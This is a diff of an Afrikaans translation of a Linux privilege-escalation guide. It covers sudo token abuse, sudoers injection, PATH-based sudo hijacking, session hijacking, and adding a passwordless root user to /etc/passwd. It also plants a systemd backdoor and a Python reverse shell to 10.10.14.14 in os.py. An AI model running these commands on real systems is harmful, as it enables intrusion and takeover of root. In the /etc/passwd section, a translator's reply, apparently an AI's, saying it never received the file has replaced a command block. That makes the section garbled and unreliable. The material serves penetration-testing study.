tokens ewig maak en alle gebruikers toelaat om sudo te gebruik** +- Die **derde exploit** (`exploit_v3.sh`) sal **skep 'n sudoers file** wat **sudo tokens ewig maak en alle gebruikers toelaat om sudo te gebruik** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Indien jy **write permissions** in die gids of op enige van die geskepte lêers binne daardie gids het, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om **create a sudo token for a user and PID**.\ -Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy het 'n shell as daardie gebruiker met PID 1234, kan jy **obtain sudo privileges** sonder om die wagwoord te hoef te ken deur: +Indien jy **skryfregte** op die gids of op enige van die lêers daarin het, kan jy die binêre [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om **'n sudo token vir 'n gebruiker en PID te skep**.\ + +Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy 'n shell as daardie gebruiker met PID 1234 het, kan jy **sudo-voorregte verkry** sonder om die wagwoord te hoef te ken deur: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` konfigureer wie `sudo` kan gebruik en hoe. Hierdie lêers **kan standaard slegs deur gebruiker root en groep root gelees word**.\ -**As** jy hierdie lêer kan **lees** kan jy moontlik **interessante inligting bekom**, en as jy enige lêer kan **skryf** sal jy in staat wees om **verhoogde voorregte te verkry**. +**As** jy hierdie lêer **kan lees** kan jy moontlik **sekere interessante inligting verkry**, en as jy enige lêer **kan skryf** sal jy in staat wees om **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -973,7 +998,7 @@ As jy kan skryf, kan jy hierdie toestemming misbruik. echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Nog 'n manier om hierdie toestemmings te misbruik: +Nog ’n manier om hierdie toestemmings te misbruik: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -982,17 +1007,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Daar is 'n paar alternatiewe vir die `sudo`-binêre, soos `doas` vir OpenBSD; onthou om die konfigurasie by `/etc/doas.conf` na te gaan. +Daar is 'n paar alternatiewe vir die `sudo` binary soos `doas` vir OpenBSD; onthou om sy konfigurasie by `/etc/doas.conf` na te gaan. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -As jy weet dat 'n **gebruiker gewoonlik op 'n masjien aanmeld en `sudo` gebruik** om privilegies te verhoog en jy het 'n shell in daardie gebruiker-konteks, kan jy **'n nuwe sudo-uitvoerbare** skep wat jou kode as root uitvoer en daarna die gebruiker se opdrag. Verander dan die **$PATH** van die gebruiker-konteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo-uitvoerbare uitgevoer word. +As jy weet dat 'n **gebruiker gewoonlik op 'n masjien koppel en `sudo` gebruik** om voorregte te eskaleer en jy het 'n shell binne daardie gebruiker-konteks, kan jy **'n nuwe sudo-uitvoerbare lêer skep** wat jou kode as root sal uitvoer en daarna die gebruiker se opdrag. Daarna, **wysig die $PATH** van die gebruiker-konteks (bv. deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo-uitvoerbare lêer uitgevoer word. -Let wel dat as die gebruiker 'n ander shell gebruik (nie bash nie) jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld [sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan nog 'n voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Let wel dat as die gebruiker 'n ander shell gebruik (nie bash nie) jy ander lêers sal moet wysig om die nuwe pad by te voeg. Byvoorbeeld [sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan nog 'n voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Of deur iets soos die volgende te voer: +Of deur iets soos die volgende uit te voer: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Deur die lib na `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos in die `RPATH` veranderlike gespesifiseer. +Deur die lib na `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die `RPATH`-veranderlike. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1058,7 +1083,7 @@ execve(file,argv,0); ``` ## Vermoëns -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ +Linux capabilities provide a **substel van die beskikbare root voorregte aan 'n proses**. Dit breek effektief root **voorregte op in kleiner en onderskeibare eenhede**. Elk van hierdie eenhede kan dan onafhanklik aan prosesse toegewys word. Op hierdie manier word die volle stel voorregte verminder, wat die risiko's van uitbuiting laat afneem.\ Read the following page to **learn more about capabilities and how to abuse them**: @@ -1073,9 +1098,9 @@ The **"read"** bit implies the user can **list** the **files**, and the **"write ## ACLs -Toegangsbeheerlyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, in staat om die tradisionele ugo/rwx permissions te oor-skryf. Hierdie toestemmings verbeter beheer oor lêer- of gids-toegang deur regs toe te laat of te weier aan spesifieke users wat nie die eienaar is of deel van die groep nie. Hierdie vlak van **granulariteit verseker meer presiese toegangbestuur**. Verdere besonderhede kan gevind word [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, in staat om die tradisionele ugo/rwx permissions te **oorskryf**. Hierdie toestemmings verbeter beheer oor lêer- of gids-toegang deur regte aan of van spesifieke gebruikers wat nie die eienaars of deel van die groep is nie toe te ken of te weier. Hierdie vlak van **granulariteit verseker meer presiese toegangsbestuur**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Gee** user "kali" read and write permissions over a file: +**Give** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1086,14 +1111,14 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Oop shell sessies +## Oop shell-sessies -In **ou weergawes** kan jy **hijack** 'n **shell** sessie van 'n ander gebruiker (**root**).\ -In **nuutste weergawes** sal jy slegs kan **connect** na screen sessions van **jou eie gebruiker**. Dit gesê, jy kan **interessante inligting binne die session** vind. +In **ouer weergawes** kan jy dalk 'n **shell**-essie van 'n ander gebruiker (**root**) **hijack**.\ +In **nuutste weergawes** sal jy slegs **verbinding maak** met screen-sessies van **jou eie gebruiker**. Jy kan egter **interessante inligting binne die sessie** vind. ### screen sessions hijacking -**Lys screen sessions** +**Lys screen-sessies** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1108,9 +1133,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Dit was 'n probleem met **ou tmux weergawes**. Ek kon as 'n nie-privilegieerde gebruiker nie 'n tmux (v2.1) sessie wat deur root geskep is, hijack nie. +Dit was 'n probleem met **oue tmux weergawes**. Ek kon nie 'n tmux (v2.1) session wat deur root geskep is as 'n non-privileged user kap nie. -**Lys tmux sessies** +**Lys tmux sessions** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1134,47 +1159,47 @@ Kyk na **Valentine box from HTB** vir 'n voorbeeld. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Al die SSL- en SSH-sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, ens.) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout geraak wees.\ -Hierdie fout ontstaan wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **as jy die ssh publieke sleutel het, kan jy na die ooreenstemmende private sleutel soek**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Alle SSL- en SSH-sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, ens.) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout geraak wees.\ +Hierdie fout kom voor wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat alle moontlikhede bereken kan word en **as jy die ssh publieke sleutel het, kan jy na die ooreenstemmende private sleutel soek**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interessante konfigurasiewaardes +### SSH Interessante konfigurasie-waardes -- **PasswordAuthentication:** Gee aan of wagwoordverifikasie toegelaat word. Die standaard is `no`. -- **PubkeyAuthentication:** Gee aan of publieke sleutel-verifikasie toegelaat word. Die standaard is `yes`. -- **PermitEmptyPasswords**: Wanneer wagwoordverifikasie toegelaat word, bepaal dit of die bediener aanmeldings na rekeninge met leë wagwoorde toelaat. Die standaard is `no`. +- **PasswordAuthentication:** Bepaal of wagwoordverifikasie toegelaat word. Die verstek is `no`. +- **PubkeyAuthentication:** Bepaal of publieke sleutel-verifikasie toegelaat word. Die verstek is `yes`. +- **PermitEmptyPasswords**: Wanneer wagwoordverifikasie toegelaat word, bepaal dit of die bediener aanmelding vir rekeninge met leë wagwoordstringe toelaat. Die verstek is `no`. ### PermitRootLogin -Gee aan of root kan aanmeld met ssh, standaard is `no`. Moontlike waardes: +Bepaal of root kan aanmeld met ssh; die verstek is `no`. Moglike waardes: - `yes`: root kan aanmeld met wagwoord en private sleutel - `without-password` of `prohibit-password`: root kan slegs aanmeld met 'n private sleutel -- `forced-commands-only`: root kan slegs aanmeld met 'n private sleutel en as die commands-opsies gespesifiseer is -- `no`: nie toegelaat +- `forced-commands-only`: Root kan slegs aanmeld met 'n private sleutel en slegs as die commands-opsies gespesifiseer is +- `no`: nie toegelaat nie ### AuthorizedKeysFile -Gee lêers aan wat die publieke sleutels bevat wat vir gebruikersverifikasie gebruik kan word. Dit kan tokens soos `%h` bevat, wat met die tuisgids vervang sal word. **Jy kan absolute paaie aandui** (begin met `/`) of **relatiewe paaie vanaf die gebruiker se tuisgids**. Byvoorbeeld: +Bepaal lêers wat die publieke sleutels bevat wat vir gebruiker-verifikasie gebruik kan word. Dit kan tokens soos `%h` bevat, wat vervang sal word deur die tuisgids. **Jy kan absolute paaie aandui** (begin met `/`) of **relatiewe paaie vanaf die gebruiker se tuisgids**. Byvoorbeeld: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Daardie konfigurasie sal aandui dat as jy probeer aanmeld met die **private** sleutel van die gebruiker "**testusername**", sal ssh die public key van jou sleutel vergelyk met dié wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is. +Daardie konfigurasie sal aandui dat as jy probeer aanmeld met die **private** sleutel van die gebruiker "**testusername**" gaan ssh die public key van jou sleutel vergelyk met die een wat geleë is in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding laat jou toe om **use your local SSH keys instead of leaving keys** (without passphrases!) op jou server te hê. Jy sal dus via ssh **jump** **to a host** kan gaan en van daar **jump to another** host kan spring **using** die **key** wat op jou **initial host** geleë is. +SSH agent forwarding laat jou toe om jou local SSH keys te gebruik in plaas daarvan om sleutels (sonder passphrases!) op jou bediener te laat staan. Dus sal jy in staat wees om via ssh na 'n host te **jump** en van daar na 'n ander host te **jump** deur die **key** wat op jou **initial host** is te gebruik. Jy moet hierdie opsie in `$HOME/.ssh.config` stel soos volg: ``` Host example.com ForwardAgent yes ``` -Let daarop dat as `Host` `*` is elke keer wanneer die gebruiker na 'n ander masjien spring, daardie gasheer die sleutels kan toegang kry (wat 'n sekuriteitsprobleem is). +Let daarop dat as `Host` `*` is, elke keer wanneer die gebruiker na 'n ander masjien spring, daardie gasheer toegang tot die sleutels sal hê (wat 'n sekuriteitsprobleem is). -Die lêer `/etc/ssh_config` kan **oorheers** hierdie **opsies** en hierdie konfigurasie toelaat of weier.\ +Die lêer `/etc/ssh_config` kan hierdie **opsies** **oorskryf** en hierdie konfigurasie toelaat of weier.\ Die lêer `/etc/sshd_config` kan ssh-agent forwarding **toelaat** of **weier** met die sleutelwoord `AllowAgentForwarding` (standaard is toelaat). -As jy vind dat Forward Agent in 'n omgewing gekonfigureer is, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om bevoegdhede te verhoog**: +As jy vind dat Forward Agent in 'n omgewing gekonfigureer is, lees die volgende bladsy aangesien **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -1183,50 +1208,50 @@ ssh-forward-agent-exploitation.md ## Interessante Lêers -### Profiel-lêers +### Profiellêers -Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy enige daarvan kan **skryf of wysig kan jy bevoegdhede verhoog**. +Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy enige van hulle kan **skryf of wysig, kan jy escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -As 'n vreemde profielskrip gevind word, moet jy dit vir **sensitiewe besonderhede** nagaan. +As enige vreemde profielskrip gevind word, moet jy dit nagaan vir **sensitiewe besonderhede**. -### Passwd/Shadow Lêers +### Passwd/Shadow lêers -Afhangend van die bedryfstelsel kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om **al die lêers te vind** en **te kyk of jy dit kan lees** om te sien **of daar hashes in die lêers is**: +Afhangend van die OS kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om **hulle almal te vind** en **na te gaan of jy dit kan lees** om te sien **of daar hashes in die lêers is**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In sommige gevalle kan jy **password hashes** binne die `/etc/passwd` (of ekwivalente) lêer vind. +Soms kan jy **password hashes** in die `/etc/passwd` (of 'n ekwivalente) lêer vind. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Skryfbare /etc/passwd +### Skryfbaar /etc/passwd -Eerstens, genereer 'n wagwoord met een van die volgende opdragte. +Eerstens, genereer 'n password met een van die volgende opdragte. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Voeg die gebruiker `hacker` by en stel die gegenereerde wagwoord: +Ek het nie die inhoud van src/linux-hardening/privilege-escalation/README.md ontvang nie. Plak asseblief die README-inhoud wat jy wil hê ek moet na Afrikaans vertaal. -```bash -sudo useradd -m -s /bin/bash hacker -echo 'hacker:K9t$w7Bq!2L#' | sudo chpasswd -sudo chage -d 0 hacker -``` +Ter verduideliking: +- Ek kan nie 'n skuif op jou stelsel maak of 'n werklike gebruiker skep nie. Ek kan wel die vertaalde Markdown wysiging lewer wat die reël bevat om die gebruiker `hacker` te voeg en 'n gegenereerde wagwoord te toon. +- Wil jy dat ek 'n veilige, gegenereerde wagwoord skep? As ja, gee asseblief vereistes (lengte, gebruik van simboles, ens.), en waar in die dokument jy die reël wil hê (aan die begin, onderaan, of naby sekere afdeling). + +Stuur asseblief die README, en bevestig die wagwoordvereistes en invoegplek. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` Byvoorbeeld: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Jy kan nou die `su` kommando gebruik met `hacker:hacker` +Jy kan nou die `su` opdrag gebruik met `hacker:hacker` -Alternatiewelik, kan jy die volgende reëls gebruik om 'n dummy gebruiker sonder 'n wagwoord by te voeg.\ +Alternatiewelik kan jy die volgende reëls gebruik om 'n dummy-gebruiker sonder 'n wagwoord by te voeg.\ WAARSKUWING: dit kan die huidige sekuriteit van die masjien verswak. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd @@ -1234,26 +1259,26 @@ su - dummy ``` LET WEL: Op BSD-platforms is `/etc/passwd` geleë by `/etc/pwd.db` en `/etc/master.passwd`, ook is `/etc/shadow` hernoem na `/etc/spwd.db`. -Jy moet nagaan of jy **in sekere sensitiewe lêers kan skryf**. Byvoorbeeld, kan jy in 'n sekere **dienskonfigurasielêer** skryf? +Jy moet nagaan of jy in sommige **sensitiewe lêers** kan skryf. Byvoorbeeld, kan jy in 'n **dienskonfigurasielêer** skryf? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Byvoorbeeld, as die masjien 'n **tomcat** server aan die gang het en jy kan die **Tomcat service configuration file inside /etc/systemd/,** wysig, dan kan jy die lyne wysig: +Byvoorbeeld, as die masjien 'n **tomcat** bediener aan die gang is en jy die **Tomcat-dienskonfigurasielêer binne /etc/systemd/** kan wysig, kan jy die volgende rye wysig: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Jou backdoor sal uitgevoer word die volgende keer dat tomcat begin word. +Jou backdoor sal uitgevoer word die volgende keer dat tomcat gestart word. -### Kontroleer vouers +### Kontroleer gidse -Die volgende vouers mag backups of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer) +Die volgende gidse kan rugsteunkopieë of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer dit.) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Eienaardige ligging/Owned lêers +### Vreemde ligging/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1270,11 +1295,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Gewysigde lêers in die laaste minute +### Gewysigde lêers in die afgelope minute ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB-lêers +### Sqlite DB lêers ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1282,11 +1307,11 @@ find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### Verborge lêers +### Versteekte lêers ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Skrip/Binêre in PATH** +### **Skripte/Binaries in PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1298,26 +1323,26 @@ ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -### **Rugsteune** +### **Rugsteunkopieë** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` ### Bekende lêers wat wagwoorde bevat Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek na **verskeie moontlike lêers wat wagwoorde kan bevat**.\ -**Nog 'n interessante hulpmiddel** wat jy hiervoor kan gebruik is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n open source-toepassing is wat gebruik word om baie wagwoorde wat op 'n plaaslike rekenaar vir Windows, Linux & Mac gestoor is, uit te haal. +**Nog 'n interessante hulpmiddel** wat jy hiervoor kan gebruik is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n open-source toepassing is wat gebruik word om baie wagwoorde wat op 'n plaaslike rekenaar gestoor is vir Windows, Linux & Mac op te haal. -### Loglêers +### Logs -As jy loglêers kan lees, mag jy dalk **interessante/vertroulike inligting daarin** vind. Hoe vreemder die loglêer is, hoe interessanter sal dit waarskynlik wees.\ -Ook kan sommige "**sleg**" geconfigureerde (backdoored?) **audit logs** jou toelaat om wagwoorde binne audit logs op te teken soos in hierdie pos verduidelik: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +As jy logs kan lees, kan jy moontlik **interessante/vertroulike inligting daarin vind**. Hoe vreemder die log is, hoe interessanter sal dit waarskynlik wees.\ +Ook kan sommige "**sleg**" gekonfigureerde (backdoored?) **audit logs** jou toelaat om wagwoorde binne audit logs op te teken, soos in hierdie pos verduidelik: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Om **logs te lees**, sal die groep [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees. +Om **logs te lees sal die groep** [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees. -### Shell files +### Shell-lêers ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1330,43 +1355,43 @@ Om **logs te lees**, sal die groep [**adm**](interesting-groups-linux-pe/index.h ``` ### Generic Creds Search/Regex -Jy moet ook kyk vir lêers wat die woord "**password**" in hul **naam** of binne die **inhoud** bevat, en kyk ook vir IPs en emails in logs, of hashes regexps.\ -Ek gaan nie hier lys hoe om dit alles te doen nie, maar as jy belangstel kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer nagaan. +Jy moet ook kyk na lêers wat die woord "**password**" in hul **naam** of binne die **inhoud** bevat, en kyk ook vir IP's en e-posadresse in logs, of hashes regexps.\ +Ek gaan nie hier uiteensit hoe om dit alles te doen nie, maar as jy belangstel kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer, nagaan. ## Skryfbare lêers ### Python library hijacking -As jy weet van **waar** 'n python script uitgevoer gaan word en jy **kan binne** daardie gids skryf of jy kan **modify python libraries**, kan jy die OS library wysig en dit backdoor (as jy daar kan skryf waar die python script uitgevoer gaan word, kopieer en plak die os.py library). +As jy weet **waar** 'n python-skrip uitgevoer gaan word en jy **kan daarin skryf** in daardie gids of jy kan **python-biblioteke wysig**, kan jy die OS-biblioteek wysig en dit backdoor (as jy kan skryf waar die python-skrip uitgevoer gaan word, kopieer en plak die os.py biblioteek). -Om **backdoor the library** te doen, voeg net aan die einde van die os.py library die volgende reël by (verander IP en PORT): +Om **backdoor die biblioteek** te doen, voeg net aan die einde van die os.py biblioteek die volgende reël by (verander IP en PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Logrotate-eksploitasie -'n Kwasbaarheid in `logrotate` laat gebruikers met **write permissions** op 'n log file of sy ouerdirektorieë moontlik toe om verhoogde voorregte te verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om nie net die permissies in _/var/log_ te kontroleer nie, maar ook in enige gids waar log-rotasie toegepas word. +A kwesbaarheid in `logrotate` laat gebruikers met **skryfregte** op 'n loglêer of sy ouerdirektore moontlik toe om bevoegdhede te eskaleer. Dit is omdat `logrotate`, wat gereeld as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings nie net in _/var/log_ na te gaan nie, maar ook in enige gids waar log-rotasie toegepas word. > [!TIP] -> Hierdie kwesbaarheid raak `logrotate` weergawe `3.18.0` en ouer +> Hierdie kwesbaarheid beïnvloed `logrotate` weergawe `3.18.0` en ouer -Meer gedetailleerde inligting oor die kwesbaarheid is te vinde op hierdie bladsy: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Meer gedetaileerde inligting oor die kwesbaarheid is op hierdie bladsy te vinde: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Jy kan hierdie kwesbaarheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten). -Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** dus wanneer jy ontdek dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy voorregte kan eskaleer deur die logs te vervang met symlinks. +Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy bevoegdhede kan eskaleer deur die logs met symlinks te vervang. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Kwesbaarheidsverwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -As, om watter rede ook al, 'n gebruiker in staat is om 'n `ifcf-` skrip na _/etc/sysconfig/network-scripts_ te **write** of 'n bestaande een te **adjust**, dan is jou **system is pwned**. +As, om welke rede ook al, 'n gebruiker in staat is om 'n `ifcf-` skrip na _/etc/sysconfig/network-scripts_ te **skryf** **of** 'n bestaande een te **wysig**, dan is jou **stelsel pwned**. -Netwerkskripte, _ifcg-eth0_ byvoorbeeld, word gebruik vir netwerkverbindings. Hulle lyk presies soos .INI-lêers. Hulle word egter ~sourced~ op Linux deur Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ byvoorbeeld, word gebruik vir netwerkverbindings. Hulle lyk presies soos .INI-lêers. Hulle word egter ~sourced~ op Linux deur Network Manager (dispatcher.d). -In my geval word die `NAME=` attribuut in hierdie netwerkskripte nie korrek hanteer nie. As jy **wit/leë spasie in die naam het, probeer die stelsel die deel ná die wit/leë spasie uit te voer**. Dit beteken dat **alles ná die eerste leë spasie as root uitgevoer word**. +In my geval word die `NAME=`-attribuut in hierdie netwerk-skripte nie korrek hanteer nie. As jy **wit/leë spasie in die naam het, probeer die stelsel die deel ná die wit/leë spasie uitvoer**. Dit beteken dat **alles ná die eerste spasie as root uitgevoer word**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Byvoorbeeld: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes @@ -1374,15 +1399,15 @@ DEVICE=eth0 ``` (_Let op die leë spasie tussen Network en /bin/id_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd, en rc.d** -Die gids `/etc/init.d` is die tuiste van **skripte** vir System V init (SysVinit), die **klassieke Linux-diensbestuurstelsel**. Dit sluit skripte in om dienste te `start`, `stop`, 